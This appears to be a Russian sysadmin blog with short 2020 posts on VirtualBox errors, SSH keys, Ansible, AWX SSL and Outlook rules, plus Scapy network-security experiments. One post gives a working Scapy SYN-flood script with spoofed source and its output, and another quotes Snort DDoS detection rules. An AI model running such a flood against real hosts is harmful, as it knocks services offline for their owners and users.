Главная

Thursday, 24 September 2020

Наш нежный VirtualBox.

Всем привет.

Быстренько поменяв очередную железку и восстановив по памяти все свои тулзы я уже было заварил кофе, но меня ожидал подвох со стороны VirtualBox - на первой же ВМ ошибка запуска E_FAIL 0x80004005. Потыкав мышкой туда сюда, подозрительно посмотрев на грозное сообщение я обнаружил что любая ВМ валится с таким же сообщением. Это меня малость успокоило.


Беглый обзор в сети показал что, как правило, Virtualbox вылетает с ошибкой E_FAIL 0x80004005 из-за того, что программе по какой-то причине не удалось сохранить состояние вашей виртуальной машины в файл с расширением .vbox. Причин, почему это произошло – множество. Например, он мог быть поврежден или использован во время сохранения состояния для какой-то иной цели. В общем, VirtualBox попытался загрузить состояние ВМ из vbox-файла, но ничего не вышло и он выдал ошибку. Однако, стоит заметить, что ошибка виртуальной машины E_FAIL 0x80004005 могла возникнуть также из-за ряда других причин: конфликтующее с VirtualBox обновление для операционной системы, отключенная функция виртуализации в BIOS или нестабильная версия самой программы VirtualBox. И т.п.

Поскольку я переносил ВМ со старого ПК то в состоянии самих файлов vbox и vdi был уверен на 99%. Поэтому я решил проверить окружение.

Что я проверял? Прежде всего убедитесь что в Windows 10 отключены опции "Hyper-V" и "Песочница". Увы,  но Virtualbox до сих пор (версия 6.0.12)  с ними не совместима. Далее проверьте что ваш антивирусник не блокирует Virtualbox. Убедитесь что служба "VirtualBox system service" работает нормально. Убедитесь что в BIOS вашего ПК включена поддержка виртуализации. Однако даже после всего этого ошибка оставалась. И тут я обратил внимание что мой антивирусник хочет фокусировать мое внимание на чрезмерной активности предустановленного фирменного софта от НР - НР Sure Sense. Рядом с ним были размещены еще пять софтин, которые идут в комплекте. Так как у меня был другой антивирусник, то я сделал выбор в пользу первого и решил снести  НР Sure Sense.

И ура, моя VirtualBox ожила. Таким образом, я получил ситуацию когда искусственный интеллект для обнаружения вредоносных программ от НР перестарался.

Успехов.

Monday, 21 September 2020

SSH-клиент и РРК-файл.

Всем привет.

Очевидно что работая с удаленным доступом с серверами которые ближе, или которые в облаках всегда нужно вводить свой пароль админа. Но это не есть хорошо. Лучше один раз создать SSH-пару ключей и использовать их в дальнейщей работе. 

Ключи создаются просто. При этом в ваше распоряжение попадает приватный ключик в виде РЕМ-файла. PEM - наиболее популярный формат среди сертификационных центров. PEM сертификаты могут иметь расширение .pem, .crt, .cer, и .key (файл приватного ключа). Он представляют собой ASCII файл, закодированный по схеме Base64. 

Однако  популярные SSH-клиенты Putty, и WinSCP, любят другой формат открытого ключа который отличается от формата OpenSSH. Он называется РРК.

Нет проблем чтобы преобразовать файл .pem в .ppk-файл с помощью инструмента командной строки puttygen:

$ puttygen keyfile.pem -O private -o Maxkey.ppk

Для открытого ключа:

$ puttygen keyfile.pem -L

После надо обязательно в самом SSH-клиенте Putty, илиWinSCP,  или MobaXTerm  указать путь к новому файлу ключа. Сам он его не найдет.





На этом все.

Sunday, 13 September 2020

Блогу 10 лет!

Всем привет!

Сегодня заметка будет ни о чем. Другими словами о моем Блоге, нам сегодня ровно 10 лет! 

Ровно 10 лет тому я нечаянно написал свой первый пост, пост про кинематограф. Не могу вспомнить что меня натолкнуло на тему поста и почему я для этого создал блог. Но так было. Факт имеет место быть.

Что самое ценное за эти десять лет? Я его не бросил. Это самое ценное и это удивительно. Ибо он не является моим, прямо скажем, основным хобби, но идей, желаний их внедрить и материала для него у меня хватает до сих пор.

За 10 лет я написал 900 постов. Хм, надо было бы еще сотню накинуть, но я не гоняюсь за показателями. На эту неполную тысячу постов пришло более 700 тысяч читателей. Могло быть и больше, но чуть ранее я закончил заниматься активным SEO. Т.е. мой блог живет чисто на индексации новых постов.

Спасибо всем кто меня до сих пор читает, два раза спасибо тем кто мне еще и вопросы задает. 

Спасибо и тебе мой Блог что держишь меня в тонусе и заставляешь систематически заглядывать в нечто новое. Обещаю и дальше поддерживать тебя и, ествественно,  себя в актуальной форме.

С праздником тебя и до следующего юбилея в 2030-м!

Saturday, 12 September 2020

Утилита BGinfo - помощник администратора.

Всем привет! 

Суметь выудить у пользователя нужную информацию по его проблеме непросто. Сегодня я вам подскажу как улучшить взаимодействие между пользователем и специалистом технической поддержки или системным администратором. Самое ценное для нас это знать где эта проблема обитает, т.е. на каком хосте. Да, можно начать с ФИО пользователя которое он часто не сообщает, далее пройтись в AD, там найти его учетку сопоставить с IP-адресом и т.п. Долго! Много движений мышкой, а рука может быть занятой трубкой телефона, пользователи ведь так любят чтобы  с ними говорили голосом...

Решение есть - популярная утилита BGinfo.

BGInfo - это маленькая утилита входящая в состав всем известного пакета Sysinternals от Марка Русиновича. Как вы поняли в ее задачи входит отображение на рабочем столе, некой полезной системной информации.

Сколько раз вы заходя в систему на своем рабочем компьютере получали ситуацию, что вам нужно было щелкнуть несколько диагностических окон, чтобы раскрыть его DNS имя, IP-адрес или версию операционной системы? Если таких компьютеров за сотню то вам нужен BGInfo. Он автоматически отображает соответствующую информацию о компьютере Windows на фоне рабочего стола, такую как имя компьютера, IP-адрес, версия пакета обновления, размер дисков, любые другие WMI данные и т. д. Вы можете редактировать любое поле, шрифт и цвета фона, можете поместить его в папку автозагрузки, чтобы он запускал каждую загрузку, или даже настроить его для отображения в качестве фона для экрана входа в систему. Поскольку BGInfo просто записывает новое настольное растровое изображение и завершает работу, вам не нужно беспокоиться о том, что он потребляет системные ресурсы или мешает другим приложениям.

Думаю достаточно рекламы. Как ее внедрить в систему показано здесь и и здесь.

Friday, 11 September 2020

Система обнаружения вторжений и Scapy.

Всем привет.

Продолжим, сегодня пощупаем  cистему обнаружения вторжений с помошью Scapy.

Система обнаружения вторжений (IDS) - очень ценный инструмент в руках грамотного налитика. Сетевая система обнаружения вторжений (NIDS) может анализировать трафик в реальном времени за счет регистрации пакетов в IP-сетях. Путем сопоставления пакетов на базе известного набора вредоносных сигнатур IDS может предупредить сетевого аналитика про атаку, прежде чем она произойдет. Например, система SNORT IDS поставляется со множеством различных правил, способных обнаруживать разные типы эксплоитов и атак типа "отказ в обслуживании" среди большого разнообразия других векторов атак. Изучив содержимое одного из этих правил, мы можем увидеть четыре признака обнаружения TFN, tfn2k и Trin00. Когда злоумышленник использует TFN, tfn2k или Trin00 против цель, IDS обнаруживает атаку и предупреждает аналитика. Однако что происходит когда аналитики получают больше предупреждений, чем они могут физически обработать? Они теряют свою сноровку и могут упустить важную деталь атаки.

victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;

classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp

possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00

Daemon to Master PONG message detected"; content:"PONG";

reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;

reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

Wednesday, 9 September 2020

Технология Artemis от McAfee.

Всем привет. 

Есть такая технология Artemis от McAfee которая использует для обнаружения вредоносного ПО не локальную базу данных, а онлайновое хранилище цифровых подписей, обновляющееся практически в режиме реального времени. При выявлении подозрительного объекта система Artemis связывается с центральными серверами и проверяет, не представляет ли этот файл угрозы для пользователя. Весь процесс занимает минимум времени и никак не отражается на быстродействии клиентской системы. 

Но вот с ее сообщениями надо быть на чеку. Недавний тест показал что Artemis может путать пользователя. Взгляните на сообшение внизу. Artemis отработал, но дело в том что файла с таким именем в той папке никогда не было. Там был другой исполняемый файл, который и был убит.
Такие дела.

Monday, 7 September 2020

Генерация SYN flood пакетов в Scapy.

Всем привет.

А наша Scapy не такая безобидная как кажется. Генерация атаки TCP SYN flood в Scapy оказывается простой задачей. Вот так мы создаем IP-пакеты с уровнем протокола TCP с увеличивающимся номером порта источника TCP и с постоянным портом назначения TCP 513.

from scapy.all import *

def synFlood(src, tgt):

for sport in range(1024,65535):

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=sport, dport=513)

pkt = IPlayer / TCPlayer

send(pkt)

src = "10.1.1.2"

tgt = "192.168.1.3"

synFlood(src,tgt)

Запуск отправляет TCP SYN, чтобы исчерпать ресурсы хоста, заполняя очередь подключения и, по сути, приводит к неспособности цели отправлять в ответ пакеты сброса TCP. Действительно просто.

admincore# python synFlood.py

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

<..SNIPPED..>

Про Scapy будет еще.

Saturday, 5 September 2020

Изучаем Ansible.

Всем привет.

Среди множества систем управления конфигурациями Ansible обладает неоспоримыми преимуществами. Он минималистичен, не требует установки программного обеспечения(агента) на узлах, легок в освоении, быстро развивается. Все так и есть. Мое знакомтсво с ним началось с видео-лекций Наташи Самолейнко и Дениса Астахова. У Наташи ударение делается на управление активным оборудованием, у Дениса - на линукс и облака. Такими темпами не далек тот момент когда Ansible будет управлять вашим холодильником.

Кроме видео-лекций и практических тестов мне помогает изучение книг. Чаще электронных. Хоршее продолжение в изучении Ansible дает книга "Полное руководство Ansible", 3 изд. авторов Джеймс Фриман и Джесс Китинг, Copyright © 2019 Packt Publishing.

С первой книгой во многом перекликается новая книга "Практическая автоматизация предприятия в Linux" Джеймса Фримана, Copyright © 2020 Packt Publishing. Однако и в ней много полезного и нового.

Из бумажных вариантов могу посоветовать русский перевод "Запускаем Ansible" издательства "ДМКПресс" 2018 года. Автор: Мозер Р., Хоштейн Л. Оригинальное название: "Ansible: Up and Running" В книге подробно с примерами (код есть на сайте издательства) изложены способы автоматизации управления конфигурациями и развертывания приложений.

Второе издание книги научит вас выстраивать продуктивную работу в кратчайшие сроки, будь вы разработчик, разворачивающий код в производственной среде, или системный администратор в поисках более эффективного решения для автоматизации.

Авторы книги расскажут вам, как написать сценарий (скрипт управления конфигурациями Ansible), установить контроль над удаленными серверами, а также задействовать мощный функционал встроенных декларативных модулей. Вы поймете, что Ansible обладает всеми функциональными возможностями, которые вам необходимы, и той простотой, о которой вы мечтаете.

• Узнайте, чем Ansible отличается от других систем управления конфигурациями

• Используйте формат файлов YAML для написания собственных сценариев

• Изучите пример полного сценария для развертывания нетривиального приложения

• Администрируйте машины Windows и автоматизируйте конфигурацию сетевых устройств

• Производите развертывание приложений на Amazon EC2 и других облачных платформах

• Используйте Ansible для создания образов Docker и развертывания контейнеров Docker

И в качестве солидного бонуса я бы советовал добавить себе в копилку книгу Эрика Чоу "Полное руководство работы с сетями на Python", Copyright © 2017 Packt Publishing.

Успехов.

Friday, 4 September 2020

Разбор траффика DNS в Scapy.

Всем привет.

Продолжаем опыты со Scapy. Рассмотрим разбор траффика DNS.

Когда мы исследуем запросы протокола DNS в Scapy, мы видим поля которые включены в каждый пакет. DNSQR содержит название запроса (qname), его тип (qtype) и класс (qclass). Для нашего запроса выше мы просим адрес IPv4 для whitehouse.com, который нужно разрешить, делая поле qname равно whitehouse.com. DNS-сервер отвечает добавлением DNSRR который содержит имя записи ресурса (rrname), тип (тип), ресурс класс записи (rclass) и TTL. Зная, как работают fast-flux и domain-flux, теперь мы можем написать несколько скриптов Python и с помощью Scapy провести анализ и выявление подозрительного DNS-траффика.

analyst# scapy
Welcome to Scapy (2.0.1)
>>>ls(DNSQR)
qname : DNSStrField = ('')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>>ls(DNSRR)
rrname : DNSStrField = ('')
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = ('')

Европейское агентство сетевой и информационной безопасности предоставляет отличный ресурс для анализа сетевого трафика. Они предоставляют Live DVD ISO-образ который содержит несколько сетевых дампов и упражнений к ним. Вы можете скачать копию с http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvdiso-images.
Кроме того, вы можете захотеть заразить виртуальную машину шпионским или вредоносным ПО. и безопасно исследовать трафик в контролируемой лабораторной среде, прежде чем продолжить. Для наших целей предположим, что теперь у нас есть сеть, захваченная в файл с именем fastFlux.pcap, который содержит некоторый DNS-трафик, который мы хотим проанализировать.

Thursday, 3 September 2020

SSL доступ к AWX.

Всем привет.

Думаю будет полезным использовать SSL для доступа к AWX. Проще всего сделать это через отключение порта 80 в межсетевом экране от внешнего мира и поставить перед ним некую настройку разгрузки SSL. Это может быть балансировщик нагрузки, обратный прокси или даже известная утилита stunnel. Например, если мы установили AWX в Ubuntu, то можем сделать так.

Прежде всего мы установим NGINX:
sudo apt install nginx

Затем мы воспольземся неким сертификатом SSL для его применения в NGINX. Если у вас такой имеется, скопируйте этот сертификат и связанный с ним общедоступный ключ в следующие местоположения:
- cертификат: /etc/pki/tls/certs/mastery.example.com.crt
- общедоступный ключ: /etc/pki/tls/private/awx-master.forza.com.key

Если у вас нет сертификата SSL, вы запросто можете сгенерировать некий с самостоятельной подписью для выполнения данного примера при помощи такой команды:
openssl req -x509 -nodes -newkey rsa:4096 -keyout /etc/pki/tls/private/awx-master.forza.com.key -out /etc/pki/tls/certs/awx-master.forza.com.crt -days 3650 -subj "/C=GB/CN=awx-master.forza.com"

Имя сертификата должно соответствовать имени хоста вашей системы AWX.

После того как вы поместили на своё место сертификат, создайте файл /etc/nginx/conf.d/awx.conf со следующим содержанием:
server {
  listen 443 ssl;
  server_name awx-master.forza.com;
ssl on;
  ssl_certificate /etc/pki/tls/certs/awx-master.forza.com.crt;
  ssl_certificate_key /etc/pki/tls/private/awx-master.forza.com.key;
location / {
  proxy_pass http://127.0.0.1:80;
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-Proto $scheme;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 }
}

Wednesday, 2 September 2020

Переадресация почты в Outlook.

Всем привет.

Оказывается пользователь Outlook имеет больше возможностей по управлению потоками своих писем чем думает. Или ему просто лень это использовать. Возьмем самое простое - делегирование корпоративной почты на время своего отпуска. Тут даже администратор не нужен.

Итак вариант desktop-a.

1. Заходим в закладку «Файл» и выбираем «Управление правилами и оповещениями»



2. Далее нажимаем на закладку «Создать правило».
3. Открывается «Мастер правил». Выбираем «Применить правило полученным мной сообщений» и нажимаем «Далее».


Tuesday, 1 September 2020

Мониторинг поля TTL с помощью Scapy.

Всем привет.

Сетевая библиотека Scapy имеет много возможностей. Давайте разберем пару реальных кейсов из книги Violent Python Book.

Мониторинг значения поля TTL.

Давайте создадим скрипт для вывода исходного IP-адреса и TTL из входящих пакетов. Будет легче написать этот код с помощью dpkt. Мы создаем функцию для прослушивания и передачи каждого отдельного пакета функции testTTL(), которая проверяет каждый пакет на уровне IP, извлекая IP-адрес источника и значение TTL поля и выводит эти данные на экран.

from scapy.all import *
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print '[+] Pkt Received From: '+ipsrc+' with TTL: ' \
+ ttl
except:
pass
def main():
sniff(prn=testTTL, store=0)
if __name__ == '__main__':
main()

Запускаем:

analyst# python printTTL.py
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13

Запустив наш код, мы получим довольно много пакетов от разных адресов с разными TTL. Эти результаты также включают заготовленную ловушку сканирования с адресом 8.8.8.8 и TTL равным 13. Как мы знаем, TTL должен быть 64 минус 11 = 53 прыжка, т.е. мы можем утверждать, что кто-то их подделал. Это важно отметить, что системы Linux обычно запускаются с начальным TTL равным 64, системы на базе Windows начинают с TTL равным 128. В целях эскперимента мы предположим, что анализируем только IP-пакеты с рабочих станций Linux, сканирующих нашу сеть, поэтому давайте добавим функцию для проверки полученного TTL против фактического TTL.

Наша функция checkTTL() принимает исходный IP-адрес с соответствующим TTL в качестве входных данных и выводит сообщение о недопустимых значениях TTL. Мы будем использовать условное выражение для удаления пакетов с частных IP-адресов (10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255 и 192.168.0.0–192.168.255.255). Для этого импортируем библиотеку IPy. Чтобы избежать IP конфликтующих с IP-адресом класса Scapy, мы переклассифицируем его как IPTEST. Если файл IPTEST(ipsrc). iptype () возвращает "PRIVATE", мы возвращаемся из нашей функции checkTTL, игнорируя пакет для дальнейшей проверки.